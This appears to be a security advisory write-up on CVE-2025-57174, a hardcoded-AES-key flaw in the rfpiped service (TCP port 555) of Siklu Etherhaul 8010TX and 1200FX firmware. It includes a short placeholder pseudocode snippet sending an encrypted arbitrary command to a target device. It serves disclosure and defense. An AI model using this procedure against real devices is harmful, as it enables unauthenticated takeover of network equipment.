Overview
We delve into a critical vulnerability, CVE-2025-57174, that was discovered in Siklu Communications Etherhaul 8010TX and 1200FX devices. This vulnerability affects Firmware 7.4.0 through 10.7.3 and possibly other previous versions. Potentially exposing these devices to system compromise or data leakage, this vulnerability has become a significant security concern in the cybersecurity landscape. Given the widespread use of these devices in various industries, the implications of this vulnerability are far-reaching, necessitating immediate attention and action.
Vulnerability Summary
CVE ID: CVE-2025-57174
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
Product | Affected Versions
Siklu Communications Etherhaul 8010TX | Firmware 7.4.0 through 10.7.3
Siklu Communications Etherhaul 1200FX | Firmware 7.4.0 through 10.7.3
How the Exploit Works
The vulnerability arises from the `rfpiped` service listening on TCP port 555, which uses static AES encryption keys hardcoded into the binary. These keys are identical across all devices, making it possible for attackers to craft and send encrypted packets that execute arbitrary commands without authentication. This method of attack bypasses the need for user interaction and does not require any privileges, making it particularly dangerous.
Conceptual Example Code
Given the nature of this vulnerability, an attacker could exploit it by crafting an encrypted packet containing a malicious command using the hardcoded AES encryption key. Here is a conceptual example, represented in Python-like pseudocode:
import socket
import AES
TCP_IP = 'target_IP'
TCP_PORT = 555
BUFFER_SIZE = 1024
# The hardcoded AES key
AES_KEY = 'hardcoded_key'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
# Crafting malicious command
command = 'arbitrary_command'
encrypted_command = AES.encrypt(command, AES_KEY)
s.send(encrypted_command)
data = s.recv(BUFFER_SIZE)
s.close()
print("received data:", data)In this example, a TCP connection is established with the target device on port 555. A command is then encrypted using the hardcoded AES key and sent to the device. The device, recognizing the key, would then decrypt and execute the command, thereby compromising the system.
